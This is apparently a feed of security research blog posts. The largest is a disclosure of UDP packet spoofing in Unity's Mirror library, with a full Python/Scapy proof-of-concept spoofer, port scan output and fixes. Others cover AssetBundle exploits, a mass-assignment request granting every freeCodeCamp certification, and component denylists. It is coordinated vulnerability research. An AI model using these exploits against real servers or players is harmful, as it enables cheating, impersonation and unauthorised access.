The hashing function for messageTypeId and functionHash looks like this in Python:

def get_id(typename):
    return get_stable_hashcode(typename) & 0xffff

def get_stable_hashcode(string):
    bytestr = str.encode(string);
    h = 23
    for c in bytestr:
        h = h * 31 + (int)(c)
    return h

Notably, I didn’t see in any of the packet fields any sort of authentication mechanism. A potential spoofer has to have the correct sn value. But since these start at 0 and increment by 1 with each message, it’s possible to brute force this. So how does Mirror determine where the packet comes from?

The KcpServer::TickIncoming() method is where incoming data is dealt with. It has the following code:

public void TickIncoming()
{
    while (socket != null && socket.Poll(0, SelectMode.SelectRead))
    {
        try
        {
            // receive
            int msgLength = ReceiveFrom(rawReceiveBuffer, out int connectionId);

The connectionId parameter is later used to look up which connection is sending data. How is it generated? KcpServer::ReceiveFrom() has this code:

// EndPoint & Receive functions can be overwritten for where-allocation:
// https://github.com/vis2k/where-allocation
protected virtual int ReceiveFrom(byte[] buffer, out int connectionHash)
{
    // NOTE: ReceiveFrom allocates.
    //   we pass our IPEndPoint to ReceiveFrom.
    //   receive from calls newClientEP.Create(socketAddr).
    //   IPEndPoint.Create always returns a new IPEndPoint.
    //   https://github.com/mono/mono/blob/f74eed4b09790a0929889ad7fc2cf96c9b6e3757/mcs/class/System/System.Net.Sockets/Socket.cs#L1761
    int read = socket.ReceiveFrom(buffer, 0, buffer.Length, SocketFlags.None, ref newClientEP);

    // calculate connectionHash from endpoint
    // NOTE: IPEndPoint.GetHashCode() allocates.
    //  it calls m_Address.GetHashCode().
    //  m_Address is an IPAddress.
    //  GetHashCode() allocates for IPv6:
    //  https://github.com/mono/mono/blob/bdd772531d379b4e78593587d15113c37edd4a64/mcs/class/referencesource/System/net/System/Net/IPAddress.cs#L699
    //
    // => using only newClientEP.Port wouldn't work, because
    //    different connections can have the same port.
    connectionHash = newClientEP.GetHashCode();
    return read;
}

The IPEndpoint class consists of an IP and port. So it appears connections are authenticated based on a hash of these values. Since we’re using UDP packets, it seemed that it should be possible to spoof packets from arbitrary host/port combinations and Mirror will believe them to be authentic. So far we have three caveats to this:

  • The spoofer would need to brute force the correct ‘sn’ value
  • The spoofer would need to know the player’s IP address
  • The spoofer would need to know the port that the player is using to connect to the server

The last point might be the most tricky for an attacker to obtain. RFC 6335 suggests that clients use a port in the following range for ephemeral ports: 49152-65535. This leaves a potential 16383 ports the client could be using. I found a nmap UDP port scan against the client when the game was running to be effective in determining the correct port, as shown below (the game client was using port 59462). UDP port scanning is quite slow, so I only scanned a subset of the ephemeral ports.

$ sudo nmap -sU 192.168.0.14 -p59400-59500
Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-04 13:15 EDT
Nmap scan report for 192.168.0.14
Host is up (0.0063s latency).
Not shown: 99 closed ports
PORT      STATE         SERVICE
59462/udp open|filtered unknown
MAC Address: [REDACTED] (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 132.04 seconds

This assumes though that the attacker has access to the local network the user is on. This might be the case in an eSport or LAN party type scenario. In the case of eSports in particular, this might actually present a high impact, altering the outcome of the game with money at stake.

If an attacker did not know the correct UDP port (like when attacking a stranger over the internet), it might also be possible to brute force the port. However, the attacker would be brute forcing both the port and the sn value, which might not be feasible in a reasonable amount of time without any other data leaks that might give insight into the sn sequence value. Many ISPs also filter out spoofed packets, blocking the attack, but some may not.

In addition to IP and port, it’s also necessary to know the object ID (netId) and component ID of the component that will receive the message. This is game dependent, but can be constant (as in the game tested in the proof of concept below) or might depend on instantiation logic. This likely wouldn’t be too big of a barrier.

Proof of concept

I came up with a Python proof of concept for this attack using the awesome Scapy library. The code for it is at the bottom of the post. To test it, I decided to use one of the example projects the Mirror library provides, which is a chat application. The command that will be invoked by the attacker is defined as:

[Command(requiresAuthority = false)]
void CmdSend(string message, NetworkConnectionToClient sender = null)
{
    if (!connNames.ContainsKey(sender))
        connNames.Add(sender, sender.identity.GetComponent<Player>().playerName);

    if (!string.IsNullOrWhiteSpace(message))
        RpcReceive(connNames[sender], message.Trim());
}

The attack will look like this:

 _________________        _____________________________
 Server           |      |Client
 192.168.0.14:7777|<---->|192.168.0.14:????? (determine port using port scan/Wireshark)
 _________________|      |_____________________________
    ^
    |
    | Spoofed UDP packets w/IP 192.168.0.14 and port = [client port]
    |
 ___|_____________
 Attacker         |
 192.168.0.253    |
 _________________|

I ran the game in the Unity editor as the server and a Windows build as the client:

I determined the client source port using Wireshark to avoid waiting for a lengthy UDP scan (though the scan would’ve worked too). Then I ran my PoC from the attacking host using the following command (superuser privileges are needed for Scapy to be able to do raw packets). The most important line is the one with the srchost and srcport parameters, which are spoofed to pose as the client user’s host and port.

$ ip a | grep 192
    inet 192.168.0.253/24 brd 192.168.0.255 scope global noprefixroute wlo1
$ sudo python3 spoofer.py -v \
    --dsthost 192.168.0.14 --dstport 7777 \
    --srchost 192.168.0.14 --srcport 55342 \
    --messageType command \
    --function "System.Void Mirror.Examples.Chat.ChatUI::CmdSend(System.String,Mirror.NetworkConnectionToClient)"  \
    uiopasdf
Sending packet: 010000000051000010570a000001000000010000002d00000003000000000000244094b40100000000973f18000000080073706f6f666564d2040000090061736466617364660a
.
Sent 1 packets.
Sending packet: 010000000051000010570a000002000000020000002d00000003000000000000244094b40100000000973f18000000080073706f6f666564d2040000090061736466617364660a
[Many such messages snipped for brevity ...]

This resulted in a large number of messages appearing on the players’ games, appearing to come from the client user:

Chat provided a convenient example where it was easy to show impersonation using this technique without a video. You might notice that the CmdSend function has the flag requiresAuthority=false — this means any client can call the function, so this example doesn’t prove that you can call commands on objects belonging to other users. However, I tested other examples with requiresAuthority=true and they also work. I did not implement or test RPC spoofing in my PoC, however based on Mirror’s code I saw no reason that RPC spoofing wouldn’t also be possible. In this case the attacker would be pretending to be the server in order to invoke certain functions on the client.

Impact

The most obvious potential impact to such an attack would be cheating and user impersonation. As mentioned, in certain scenarios like eSports, this might be high stakes, but in other cases it would be a mere annoyance. Impersonating a user and doing annoying or harassing things might have social (or even legal?) repercussions for that person.

Other attacks depend heavily on the game and the functionality contained in the commands and RPCs. Perhaps an RPC might be vulnerable to XXE or shell command injection (seems unlikely but who knows). Suppose there was a command for changing levels that forced clients to load asset bundles from arbitrary URLs. An attacker could create a malicious asset bundle and force the game clients to load it.

Remediation

In order to prevent the attack, Mirror would have to have some way of verifying where the packets came from.

One solution to prevent spoofed commands might be for the server to send a randomly-generated token to each client on connection. In future communications, the client would need to include this token with every packet, and the server would drop packets with an invalid token. For RPCs, it would need to work the other way — the client would send the server a token, and the server would have to include that in future communications.

Assuming the attacker can’t intercept communications, this would prevent the spoofed packets, since the attacker would be unable to obtain this token.

An alternative but similar solution might be for the client and server to send keys during the initial handshake, and in subsequent packets use the keys to generate an HMAC of the packet. The opposite side verifies the HMAC before accepting the packet. This solution might be more bandwidth friendly, allowing longer keys sent only with the handshake, then shorter HMACs with subsequent messages. An attacker would have to intercept the initial message to get the key, unlike in the first remediation where they could obtain it in any message.

Before publication, this post was shared with the Mirror team. They have backported secure cookies to KCP: https://github.com/vis2k/kcp2k/commit/ebb456a1132d971a9227c3d0e4449931f455c98c. Additionally, an encrypted transport implementation is currently under development.

Proof of concept code

spoofer.py

import argparse
import sys
import kcp_packet
import command_message
import utils

try:
    from scapy.all import *
except ImportError:
    print("Scapy module required -- pip install scapy")
    exit(1)

parser = argparse.ArgumentParser(description='Craft spoofed Mirror Commands and RPCs over KCP')
parser.add_argument('--dsthost', type=str, help="Destination IP address", required=True)
parser.add_argument('--dstport', type=int, help="Destination port", default=7777)
parser.add_argument('--srchost', type=str, help="Spoofed source IP", required=True)
parser.add_argument('--srcport', type=int, help="Spoofed source port", required=True)
parser.add_argument('--messageType', type=str, choices=["command", "rpc"], help="Message type to send", required=True)
parser.add_argument('--function', type=str, help="The function to invoke on the receiver. Must be a fully qualified function signature like this -- do not deviate, add any spaces, etc: 'System.Void Mirror.Examples.Chat.ChatUI::CmdSend(System.String,Mirror.NetworkConnectionToClient)'")
parser.add_argument('--functionId', type=int, help="alternative for specifying function to call, use the hashed ID value sent by Mirror instead of generating it. You can grab the ID by examining Mirror traffic. Must also specify parameter types though using --function with a dummy name but the correct parameter types.", default=None)
parser.add_argument('--snStart', type=int, help="start value for brute forcing the recipient's SN value", default=1)
parser.add_argument('--snEnd', type=int, help="end value for brute forcing the recipient's SN value", default=100)
parser.add_argument('--netId', type=int, help="netId of gameobject that will receive the message", default=1)
parser.add_argument('--componentId', type=int, help="componentId of component that will receive the message", default=0)
parser.add_argument('--verbose', '-v', action='store_true', )
parser.add_argument('arguments', metavar='A', type=str, nargs='+', help='Arguments to the invoked function')

args = parser.parse_args(sys.argv[1:])

def verbose_print(text):
    if (args.verbose):
        print(text);

# Construct data payload per message type
data = None
if (args.messageType == "command"):
    data = command_message.create_from_function_def(1, 0, args.function, args.arguments)
elif (args.messageType == "rpc"):
    pass # TODO

# Send a series of KCP packets with this payload to brute force the SN value
for sn in range(args.snStart, args.snEnd):
    msg = kcp_packet.create(sn=sn, data=data)

    verbose_print("Sending packet: " + msg.hex())

    packet = IP(src=args.srchost, dst=args.dsthost) / UDP(sport=args.srcport, dport=args.dstport) / msg
    send(packet)

kcp_packet.py

import struct

struct_fmt = "=" # native byte order, standard sizes
struct_fmt = struct_fmt + 'c' # header : byte
struct_fmt = struct_fmt + 'I' # conv_ : uint
struct_fmt = struct_fmt + 'c' # cmd : byte
struct_fmt = struct_fmt + 'c' # frg : byte
struct_fmt = struct_fmt + 'H' # wnd : ushort
struct_fmt = struct_fmt + 'I' # ts : uint
struct_fmt = struct_fmt + 'I' # sn : uint
struct_fmt = struct_fmt + 'I' # una : uint
struct_fmt = struct_fmt + 'I' # len : uint

packet_size = struct.calcsize(struct_fmt)

HDR_RELIABLE = b'\x01'
CMD_PUSH = b'\x51'
WINDOW = 4096

def create(header=HDR_RELIABLE, conv_=0, cmd=CMD_PUSH, frg=b'\x00', wnd=WINDOW, ts=2647, sn=1, una=None, data=b''):

    # idk what una is, but it seems to always be the same as sn in my samples
    # so default to that, unless they've overridden it
    if (una == None):
        una = sn 

    return struct.pack(struct_fmt, header, conv_, cmd, frg, wnd, ts, sn, una, len(data)-1) + data

def parse(packet):
    tup = struct.unpack(struct_fmt, packet[0:packet_size])
    return {
        'header': tup[0],
        'conv_': tup[1],
        'cmd': tup[2],
        'frg': tup[3],
        'wnd': tup[4],
        'ts': tup[5],
        'sn': tup[6],
        'una': tup[7],
        'data': packet[packet_size:]
    }

command_message.py

import utils
import struct

struct_fmt = "=" # native byte order, standard sizes

# really, these 3 fields should be part of kcp_packet. but when I put them there it doesn't work and I'm not sure why
struct_fmt = struct_fmt + 'c' # kcpHeader : byte (0x03 = data)
struct_fmt = struct_fmt + 'd' # remoteTimestamp : double
struct_fmt = struct_fmt + "H" # messageTypeId: ushort -- hashed message type id (in this case Mirror.CommandMessage)

struct_fmt = struct_fmt + "I" # netId : uint
struct_fmt = struct_fmt + "c" # componentIndex : byte
struct_fmt = struct_fmt + "H" # functionHash : ushort
struct_fmt = struct_fmt + "I" # dataLen : uint

message_type_id = utils.get_id("Mirror.CommandMessage")

# function signature needs to be of the form:
#     System.Void Mirror.Examples.Chat.ChatUI::CmdSend(System.String,Mirror.NetworkConnectionToClient)
# for whatever command function you want to invoke. This is what Mirror expects.
# We also parse the signature to determine the different fields that need to be sent
def create_from_function_def(net_id, component_id, function_signature, params):

    function_id = utils.get_id(function_signature);
    param_types = utils.parse_param_types_from_function_def(function_signature)

    return create_from_function_id(net_id, component_id, function_id, param_types, params);

# Param types must contain full typename. E.g. System.String, System.Int32
def create_from_function_id(net_id, component_id, function_id, param_types, params):

    data = b''
    for i in range(0, len(params)):
        data = data + utils.pack_param(param_types[i], params[i])
    data = data + b'\x0a'
    return struct.pack(struct_fmt, b'\x03', 10.0, message_type_id, net_id, bytes([component_id]), function_id, len(data)) + data

def parse():
    pass

utils.py

import struct

# Take fully qualified function signature and grab parameter types of each argument, excluding
# the last one which is always a Mirror.NetworkConnectionToClient in Mirror
def parse_param_types_from_function_def(signature):
    # grab only the stuff between the parenthesis
    param_str = signature[signature.find('(')+1 : -1]
    # split by ',' and remove the last one which is always added by recipient, not send by the client
    return param_str.split(',')[:-1]

# turn a function parameter into bytes expected by Mirror
# e.g. string -> ushort length, char[]
def pack_param(param_type, param):
    # strings are packed as ushort len, char[]
    if (param_type == "System.String"):
        fmt = f"H{len(param)}s"
        return struct.pack(fmt, len(param)+1, str.encode(param))
    # integers
    elif (param_type == "System.Int32"):
        fmt = f"i"
        return struct.pack(fmt, int(param))
    else:
        print(f"Error: do not yet know how to pack parameter of type {param_type} -- add logic to pack_param()")

#
# These methods are used to generate different IDs within Mirror used to associate
# packets with functions and types on the receiving side
#

def get_id(typename):
    return get_stable_hashcode(typename) & 0xffff

def get_stable_hashcode(string):
    bytestr = str.encode(string);
    h = 23
    for c in bytestr:
        h = h * 31 + (int)(c)
    return h

The post Impersonating Other Players with UDP Spoofing in Mirror appeared first on Include Security Research Blog.

Grey Box Application Testing: What It Is and Why You Need It

27 March 2023 at 16:19

Application penetration testing, or app pen-testing, is a form in which ethical hackers apply general pen-testing principles and approaches to apps. VerSprite's OffSec team explains why grey box application testing is the best approach.

The post Grey Box Application Testing: What It Is and Why You Need It appeared first on VerSprite.

Vulhub – Pre-Built Vulnerable Docker Environments For Learning To Hack

By: Darknet
27 May 2021 at 10:57
Vulhub is an open-source collection of pre-built vulnerable docker environments for learning to hack. No pre-existing knowledge of docker is required, just execute two simple commands and you have a vulnerable environment. [ad name=”Darknet_Body_468_Links”] Features of Vulhub Pre-Built Vulnerable Docker Environments For Learning To Hack Vulhub contains many frameworks, databases, applications, programming languages and more […]

Hacking Unity Games with Malicious GameObjects, Part 2

13 September 2022 at 16:00

Hello again!

In the last post I talked about a way I found to execute arbitrary code in Unity using no custom scripts, only built-in components. This allowed potential attacks against Unity games that load AssetBundles from untrusted sources since, although AssetBundles can’t include custom scripts, they can include GameObjects with these built-in components attached. The attack I outlined in that blog used UnityEvents, which are primarily exposed via Unity’s built-in UI elements, but the attack required user interaction to trigger.

In this post I am going to discuss a zero-click method of triggering UnityEvents, along with some additional things I’ve learned on this topic. I will also introduce a new exploit that does not use UnityEvents and removes one of the limitations of the UnityEvent-based attack (while adding limitations of its own). Finally, I will give some updated remediation thoughts.

Zero-Click Exploit

I’ve been seeing more and more games using AssetBundles for modding functionality and user-generated content. In some cases these games did not use standard mouse input, or did not use standard ways of rendering UI elements, so getting a user to click a button or a collider was not feasible. I needed another way to prove that this was even a concern for those games. What I came up with is very simple:

  1. Add a Unity UI Toggle, along with an EventSystem
  2. Create an autoplaying animation that toggles the UI Toggle
  3. Unity will fire the onValueChanged UnityEvent when the animation changes the Toggle state

Here is an example of this in action:

Additional Attack

While experimenting with animations for the zero-click exploit, I came across a Unity feature I was previously unaware of: AnimationEvents. AnimationEvents let you invoke a function on any components attached to the object running the animation when a certain keyframe in the animation has been reached. The function must have the following signature: /*(any return type)*/ MethodName( (float|string|int|object|AnimationEvent) param ).

What’s interesting about this is that, unlike with UnityEvents, you can call a method with any return type. This could open up some possibilities for calling non-void functions that perform useful actions for the attacker. However, the UnityEvent attack discussed in the last post mainly relies on calling static methods, and it did not seem possible to call static methods with an AnimationEvent. Are there any actual attacks, then, that we can pull off using this?

As I briefly mentioned in my last post, GameObjects in AssetBundles can use not only built-in components, but also any components that exist in the project that loads the bundle. Most likely, modders will not have access to the full source code of the game (including meta files containing the script GUIDs), so they won’t be able to use any custom components written by the game developers. However, they will be able to access any components in the game that come from Asset Store assets, as they can simply download these components for themselves. Similarly, they could access any components that come from other public sources (GitHub, etc).

What we need then is for one of these components to have a function of the correct signature that does something interesting. If it could run shell commands or something that would be awesome but it could also be vulnerable in other ways — perhaps making arbitrary HTTP requests from the user’s computer, deleting files, what have you. Trying to come up with an exploit here involves pouring over all of the publicly-available MonoBehaviours in the project for methods with the correct signature. Once you find one that does something interesting, you attach it to the GameObject with the animation and hook it up to the AnimationEvent. This exploitation would be very game specific, depending on what external packages are imported into the project, so there is no generic technique that applies to all games.

You can get creative here, but some things to look for in potentially vulnerable methods might be:

  • System.Diagnostics.Process — code execution
  • Application.OpenURL() — code execution (described in the last post)
  • System.Xml.XmlTextReader — Unity uses .NET 2.0, and all versions of this library prior to 4.5.2 are vulnerable to XML External Entity (XXE) attacks, so if you can get user input into one of these you can get XXE. In my limited testing, XXE only seemed to work in builds of the game using the IL2CPP scripting backend, not in the Unity editor itself
  • WWW, UnityWebRequest, etc — HTTP requests
  • UnityEngine.Windows.File, System.IO.File — deleting/creating/modifying local files

Vulnerable Versions

I recently discovered that UnityEvents could only call static methods starting with Unity 2020.x — before that, they were limited to methods on concrete MonoBehaviours attached to GameObjects. When testing games based on Unity 2019.x or below, a similar approach would have to be taken for UnityEvents as AnimationEvents — looking through the codebase for publicly-available functions of the correct signature on MonoBehaviours. In this case, AnimationEvents are far more flexible, since they don’t require a void return type, so you might as well just look for methods suitable for an AnimationEvent-based exploit (e.g. methods on a MonoBehaviour-derived class with the correct signature).

Remediation

In my last post I gave a potential remediation that involved traversing a prefab GameObject and removing any vulnerable components before instantiating. Some people have rightly pointed out that a better approach would be to reject any GameObjects that have denylisted components instead of attempting to sanitize — I totally agree with this. Even better would be to reject any objects containing non-allowlisted components, if feasible. These approaches might look something like this:

private static bool ValidateAllowlist(GameObject prefab)
{
    var allowlist = new System.Type[] {
        typeof(UnityEngine.Transform),
        typeof(UnityEngine.Collider),
        typeof(UnityEngine.MeshFilter),
        typeof(UnityEngine.Renderer)
    };
    foreach (var component in prefab.GetComponentsInChildren(typeof(Component))) {
        bool inAllowlist = false;
        foreach (var type in allowlist) {
            if (type.IsAssignableFrom(component.GetType())) {
                inAllowlist = true;
                break;
            }
        }
        if (!inAllowlist) {
            Debug.LogWarning("Prefab contained non-allowlisted component " + component.GetType().ToString());
            return false;
        }
    }
    return true;
}

private static bool ValidateDenylist(GameObject prefab)
{
    var denylist = new System.Type[] {
        typeof(UnityEngine.EventSystems.EventTrigger),
        typeof(UnityEngine.EventSystems.UIBehaviour),
        typeof(UnityEngine.Animation),
        //include these too if you use Bolt:
        //typeof(Bolt.FlowMachine),
        //typeof(Bolt.StateMachine),
    };
    foreach (var componentType in denylist) {
        if (prefab.GetComponentsInChildren(componentType, true).Length != 0) {
            Debug.LogWarning("Prefab contained denylisted component " + componentType.ToString());
            return false;
        }
    }
    return true;
}

public static Object SafeInstantiate(GameObject prefab)
{
    if (!ValidateAllowlist(prefab)) {
        return null;
    }
    return Instantiate(prefab);
}

public void Load()
{
    string evilpath = Application.dataPath + "/AssetBundles/evil";
    AssetBundle evilab = AssetBundle.LoadFromFile(evilpath);
    GameObject evilGO = evilab.LoadAsset<GameObject>("Exploit");
    SafeInstantiate(evilGO);
    evilab.Unload(false);
}

I was wondering what kind of performance overhead this might add. To get a rough idea, I created a fairly complex prefab, about 1000 GameObjects with three components each, nested 15 levels deep. Running this a bunch of times and comparing, I found that SafeInstantiate() added about 12% overhead compared to plain Instantiate(). Prefab sizes are obviously game dependent (e.g. a game that lets you import user-created levels might have prefabs much bigger than that, a game that lets you import user-created avatars much smaller), so mileage may vary on this figure.

As part of vendor coordination we discussed this post with the Unity team, the Unity Security Team has updated their article with suggested mitigations and we recommend Unity developers read the article for further guidance.

The post Hacking Unity Games with Malicious GameObjects, Part 2 appeared first on Include Security Research Blog.

Hunting For Mass Assignment Vulnerabilities Using GitHub CodeSearch and grep.app

This post discusses the process of searching top GitHub projects for mass assignment vulnerabilities. This led to a fun finding in the #1 most starred GitHub project, freeCodeCamp, where I was able to acquire every coding certification – supposedly representing over 6000 hours of study – in a single request.

Searching GitHub For Vulnerabilities

With more than 200 million repositories, GitHub is by far the largest code host. While the vast majority of repositories contain boilerplate code, forks, or abandoned side projects, GitHub also hosts some of the most important open source projects. To some extent Linus’s law – “given enough eyeballs, all bugs are shallow” – has been empirically shown on GitHub, as projects with more stars also had more bug fixes. We might therefore expect the top repositories to have a lower number of security vulnerabilities, especially given the incentives to find vulnerabilities such as bug bounties and CVE fame.

Undeterred by Linus’s law, I wanted to see how quickly I could find a vulnerability in a popular GitHub project. The normal approach would be to dig into the code of an individual project, and learn the specific conventions and security assumptions behind it. Combine with a strong understanding of a particular vulnerability class, such as Java deserialization, and use of code analysis tools to map the attack surface, and we have the ingredients to find fantastic exploits which everyone else missed such as Alvaro Munoz’s attacks on Apache Dubbo.

However, to try and find something fast, I wanted to investigate a “wide” rather than a “deep” approach of vuln-hunting. This was motivated by the beta release of GitHub’s new CodeSearch tool. The idea was to find vulnerabilities through querying for specific antipatterns across the GitHub project corpus.

The vulnerability class I chose to focus on was mass assignment, I’ll describe why just after a quick refresher.

Mass Assignment

A mass assignment vulnerability can occur when an API takes data that a user provides, and stores it without filtering for allow-listed properties. This can enable an attacker to modify attributes that the user should not be allowed to access.

A simple example is when a User model contains a “role” property which specifies whether a user has admin permissions; consider the following User model:

  • name
  • email
  • role

And a user registration function which saves all attributes specified in the request body to a new user instance:

exports.register = (req, res) => {
  user = new User(req.body);
  user.save();}

A typical request from a frontend to this endpoint might look like:

POST /users/register

{
  "name": "test",
  "email": "[email protected]"
}

However, by modifying the request to add the “role” property, a low-privileged attacker can cause its value to be saved. The attacker’s new account will gain administrator privileges in the application:

{
"name": "test",
"email": "[email protected]",
"role": "admin"
}

The mass assignment bug class is #6 on the OWASP API Security Top 10. One of the most notorious vulnerability disclosures, back in 2012, was when researcher Egar Homakov used a mass assignment exploit against GitHub to add his own public key to the Ruby on Rails repository and commit a message directly to the master branch.

Why Mass Assignment?

This seemed like a good vulnerability class to focus on, for several reasons:

  • In the webapp assessments we do, we often find mass assignments, possibly because developers are less aware of this type of vuln compared to e.g. SQL injection.
  • They can be highly impactful, enabling privilege escalation and therefore full control over an application.
  • The huge variety of web frameworks have different ways of preventing/addressing mass assignment.
  • As in the above example, mass assignment vulns often occur on a single, simple line of code, making them easier to search for.

Mass Assignment in Node.js

Mass assignment is well known in some webdev communities, particularly Ruby On Rails. Since Rails 4 query parameters must be explicitly allow-listed before they can be used in mass assignments. Additionally, the Brakeman static analysis scanner has rules to catch any potentially dangerous attributes that have been accidentally allow-listed.

Therefore, it seemed worthwhile to narrow the scope to the current web technologies du jour, Node.js apps, frameworks, and object-relational mappers (ORMs). Among these, there’s a variety of ways that mass assignment vulnerabilities can manifest, and less documentation and awareness of them in the community.

To give examples of different ways mass assignment can show up, in the Mongoose ORM, the findOneAndUpdate() method could facilitate a mass assignment vulnerability if taking attributes directly from the user:

const filter = {_id: req.body.id};
const update = req.body;
const updatedUser = await User.findOneAndUpdate(filter, update);

In the sophisticated Loopback framework, model access is defined in ACLs, where an ACL like the following on a user model would allow a user to modify all their own attributes:

{
"accessType": "*",
"principalType": "ROLE",
"principalId": "$owner",
"permission": "ALLOW",
"property": "*"
},

In the Adonis.js framework, any of the following methods could be used to assign multiple attributes to an object:

User.fill(), User.create(), User.createMany(), User.merge(), User.firstOrCreate(), User.fetchOrCreateMany(), User.updateOrCreate(), User.updateOrCreateMany()

The next step was to put together a shortlist of potentially-vulnerable code patterns like these, figure out how to search for them on GitHub, then filter down to those instances which actually accept user-supplied input.

Limitations of GitHub Search

GitHub’s search feature has often been criticized, and does not feel like it lives up to its potential. There are two major problems for our intended use-case:

  1. Global code searches of GitHub turns up an abundance of starter/boilerplate projects that have been abandoned years ago, which aren’t relevant. There is a “stars” operator to only return popular projects, e.g. stars:>1000, but it only works when searching metadata such as repository names and descriptions, not when searching through code.
  2. The following characters are ignored in GitHub search: .,:;/\`'"=*!?#$&+^|~<>(){}[]@. As key syntactical characters in most languages, it’s a major limitation that they can’t be searched for.

The first two results when searching for “user.update(req.body)” illustrate this:

The first result looks like it might be vulnerable, but is a project with zero stars that has had no commits in years. The second result is semantically different than what we searched. Going through all 6000+ results when 99% of the results are like this is tedious.

These restrictions previously led some security researchers to use Google BigQuery to run complex queries against the 3 terabyte GitHub dataset that was released in 2016. While this can produce good results, it doesn’t appear that the dataset has been updated recently. Further, running queries on such a large amount of data quickly becomes prohibitively expensive.

GitHub CodeSearch

GitHub’s new CodeSearch tool is currently available at https://cs.github.com/ for those who have been admitted to the technology preview. The improvements include exact string search, an increased number of filters and boolean operators, and better search indexing. The CodeSearch index right now includes 7 million public repositories, chosen due to popularity and recent activity.

Trying the same query as before, the results load a lot faster and look more promising too:

The repositories showing up first actually have stars, however they all have less than 10. Unfortunately only 100 results are currently returned from a query, and once again, none of the repositories that showed up in my searches were particularly relevant. I looked for a way to sort by stars, but that doesn’t exist. So for our purposes, CodeSearch solves one of the problems with GitHub search, and is likely great for searching individual codebases, but is not yet suitable for making speculative searches across a large number of projects.

grep.app

Looking for a better solution, I stumbled across a third-party service called grep.app. It allows exact match and regex searches, and has only indexed 0.5 million GitHub repositories, therefore excluding a lot of the noise that has clogged up the results so far.

Trying the naïve mass assignment search once again:

Only 22 results are returned, but they are high-quality results! The first repo shown has over 800 stars. I was excited – finally, here was a search engine which could make the task efficient, especially with regex searches.

With the search space limited to top GitHub projects, I could now search for method names and get a small enough selection of results to scan through manually. This was important as “req.body” or other user input usually gets assigned to another variable before being used in a database query. To my knowledge there is no way to express these data flows in searches. CodeQL is great for tracking malicious input (taint tracking) over a small number of projects, but it can’t be used to make a “wide” query across GitHub.

Mass Assignment In FreeCodeCamp

Searching for “user.updateAttributes(“, the first match was for freeCodeCamp, the #1 most starred GitHub project, with over 350k stars:

Looking at the code in the first result, we appeared to have a classic mass assignment vulnerability:

function updateUserFlag(req, res, next) {
const { user, body: update } = req;
return user.updateAttributes(update, createStandardHandler(req, res, next));
}

Acquiring All Certifications on freeCodeCamp

The next step was to ensure that this function could be reached from a public-facing route within the application, and it turned out to be as simple as a PUT call to /update-user-flag: a route originally added in order that you could change your theme on the site.

I created an account on freeCodeCamp’s dev environment, and also looked at the user model in the codebase to find what attributes I could maliciously modify. Although freeCodeCamp did not have roles or administrative users, all the certificate information was stored in the user model.

Therefore, the exploit simply involved making the following request:

PUT /update-user-flag HTTP/2
Host: api.freecodecamp.dev
Cookie: _csrf=lsCzfu4[...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.freecodecamp.dev/
Csrf-Token: Tu0VHrwW-GJvZ4ly1sVEXjHxSzgPLLj99OLQ
Content-Type: application/json
Origin: https://www.freecodecamp.dev
Content-Length: 518
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

{
  "name": "Mass Assignment",
  "isCheater": false,
  "isHonest": true,
  "isInfosecCertV7":true,
  "isApisMicroservicesCert":true,
  "isBackEndCert":true,
  "is2018DataVisCert":true,
  "isDataVisCert":true,
  "isFrontEndCert":true,
  "isFullStackCert":true,
  "isFrontEndLibsCert":true,
  "isInfosecQaCert":true,
  "isQaCertV7":true,
  "isInfosecCertV7":true,
  "isJsAlgoDataStructCert":true,
  "isRelationalDatabaseCertV8":true,
  "isRespWebDesignCert":true,
  "isSciCompPyCertV7":true,
  "isDataAnalysisPyCertV7":true,
  "isMachineLearningPyCertV7":true
}

After sending the request, a bunch of signed certifications showed up on my profile, each one supposedly requiring 300 hours of work.

Some aspiring developers use freeCodeCamp certifications as evidence of their coding skills and education, so anything that calls into question the integrity of those certifications is bad for the platform. There are certainly other ways to cheat, but those require more effort than sending a single request.

I reported this to freeCodeCamp, and they promptly fixed the vulnerability and released a GitHub security advisory.

Conclusion

Overall, it turned out that a third-party service, grep.app, is much better than both GitHub’s old and new search for querying across a large number of popular GitHub projects. The fact that we were able to use it to so quickly discover a vuln in a top repository suggests there’s a lot more good stuff to find. The key was to be highly selective so as to not get overwhelmed by results.

I expect that GitHub CodeSearch will continue to improve, and hope they will offer a “stars” qualifier by the time the feature reaches general availability.

The post Hunting For Mass Assignment Vulnerabilities Using GitHub CodeSearch and grep.app appeared first on Include Security Research Blog.

Merry Hackmas: multiple vulnerabilities in MSI’s products

By: Ylabs
16 December 2021 at 16:30
Reading Time: 2 minutes This blog post serves as an advisory for a couple MSI’s products that are affected by multiple high-severity vulnerabilities in the driver components they are shipped with. All the vulnerabilities are triggered by sending specific IOCTL requests and will allow to: Directly interact with physical memory via the MmMapIoSpace function call, mapping physical memory into […]
❌
❌